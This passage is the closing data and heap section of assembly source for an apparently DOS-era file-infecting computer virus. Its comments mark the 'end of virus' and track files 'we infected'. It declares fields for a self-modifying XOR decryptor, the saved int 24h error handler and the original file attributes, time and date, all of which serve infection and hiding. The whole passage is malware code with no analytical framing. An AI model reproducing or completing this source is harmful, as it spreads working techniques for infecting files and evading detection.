change_num dw 1030 ; keep track of position of INC DI|SI
addr_pos dw 0 ; relative location of MOV DI|SI
cx_pos dw 17 ; relative location of MOV CX
xor_pos dw 10 ; relative location of XOR
loop_pos dw 0 ; relative location of LOOP
xor_op db 81h,35h ; XOR word ptr [DI|SI],XXXX
di_op db 0Bfh ; MOV DI|SI,
mov_di dw 0 ; XXXX
cx_op db 0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two
new_code db 0B9h ; MOV NN,
dw 0000 ; XXXX
push_reg db 51h ; PUSH NN
db 0C3h ; RET - jump to NN
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fname_off dw fname1 ; Offset of Filespec to use
old_dta dd 0 ; Old DTA Segment:Address
old_eh_seg dw 0 ; old error handler (int 24h) seg
old_eh_off dw 0 ; old error handler (int 24h) ofs
inf_count db 0 ; How many files we have infected this run
fcb db 21 dup(0) ; fcb
attrib db 0 ; file attribute
f_time dw 0 ; file time
f_date dw 0 ; file date
f_sizeh dw 0 ; file size
f_sizel dw 0 ;
f_name db 13 dup(0) ; file name
cseg ends
end start